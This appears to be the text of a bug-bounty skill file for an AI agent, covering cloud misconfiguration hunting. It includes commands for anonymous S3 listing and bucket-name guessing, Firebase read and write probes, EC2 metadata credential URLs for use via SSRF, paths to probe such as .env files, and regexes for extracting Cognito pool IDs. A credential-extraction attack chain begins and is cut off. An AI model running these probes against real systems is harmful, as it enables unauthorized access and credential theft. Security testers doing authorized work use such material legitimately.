$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfigHunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessib
| 1 | ## 16. CLOUD / INFRA MISCONFIGS |
| 2 | |
| 3 | ### S3 / GCS / Azure Blob |
| 4 | ```bash |
| 5 | # S3 listing |
| 6 | curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10" |
| 7 | aws s3 ls s3://target-bucket-name --no-sign-request |
| 8 | |
| 9 | # Try common bucket names |
| 10 | for name in target target-backup target-assets target-prod target-staging; do |
| 11 | curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" |
| 12 | done |
| 13 | |
| 14 | # Firebase open rules |
| 15 | curl -s "https://TARGET-APP.firebaseio.com/.json" # read |
| 16 | curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write |
| 17 | ``` |
| 18 | |
| 19 | ### EC2 Metadata (via SSRF) |
| 20 | ```bash |
| 21 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name |
| 22 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys |
| 23 | ``` |
| 24 | |
| 25 | ### Exposed Admin Panels |
| 26 | ``` |
| 27 | /jenkins /grafana /kibana /elasticsearch /swagger-ui.html |
| 28 | /phpMyAdmin /.env /config.json /api-docs /server-status |
| 29 | ``` |
| 30 | |
| 31 | --- |
| 32 | |
| 33 | ## Local-verification toolchain |
| 34 | |
| 35 | For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud: |
| 36 | |
| 37 | ```bash |
| 38 | # LocalStack 3.0 community (pin the version — 4.x requires a Pro license) |
| 39 | docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0 |
| 40 | |
| 41 | # awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header): |
| 42 | export AWS_REQUEST_CHECKSUM_CALCULATION=when_required |
| 43 | export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required |
| 44 | export AWS_ENDPOINT_URL=http://localhost:14566 |
| 45 | export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1 |
| 46 | ``` |
| 47 | |
| 48 | Without those env vars, `aws s3 cp/sync` fails with `InvalidRequest`. Document this for the team. See `docs/verification/phase2j-cloud-localstack.md` for the full reproducible flow. |
| 49 | |
| 50 | --- |
| 51 | |
| 52 | ## CloudWatch RUM Weaponization (2024-2026 surface) |
| 53 | |
| 54 | AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum.<region>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain. |
| 55 | |
| 56 | ### Detection — JS bundle fingerprints |
| 57 | |
| 58 | **Snippet-style (most common, embedded in `<head>`):** |
| 59 | ```javascript |
| 60 | (function(n,i,v,r,s,c,x,z){...})( |
| 61 | 'cwr', |
| 62 | '00000000-0000-0000-0000-000000000000', // applicationId (UUID) |
| 63 | '1.0.0', |
| 64 | 'us-east-1', |
| 65 | 'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js', |
| 66 | { |
| 67 | sessionSampleRate: 1, |
| 68 | guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth", |
| 69 | identityPoolId: "us-east-1:abcd1234-...", |
| 70 | endpoint: "https://dataplane.rum.us-east-1.amazonaws.com", |
| 71 | telemetries: ["errors","performance","http"] |
| 72 | } |
| 73 | ); |
| 74 | ``` |
| 75 | |
| 76 | **NPM-style (aws-rum-web package):** |
| 77 | ```javascript |
| 78 | import { AwsRum, AwsRumConfig } from 'aws-rum-web'; |
| 79 | const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... }; |
| 80 | const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config); |
| 81 | ``` |
| 82 | |
| 83 | ### Regex set for recon |
| 84 | |
| 85 | ```bash |
| 86 | # Detect RUM init |
| 87 | grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" . |
| 88 | |
| 89 | # Extract applicationId (UUID v4) |
| 90 | grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" . |
| 91 | |
| 92 | # Extract identityPoolId (region:UUID) |
| 93 | grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" . |
| 94 | |
| 95 | # Extract guestRoleArn (leaks AWS account ID + role name) |
| 96 | grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" . |
| 97 | |
| 98 | # Endpoint reveals region |
| 99 | grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" . |
| 100 | ``` |
| 101 | |
| 102 | ### Attack chains |
| 103 | |
| 104 | **Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from t |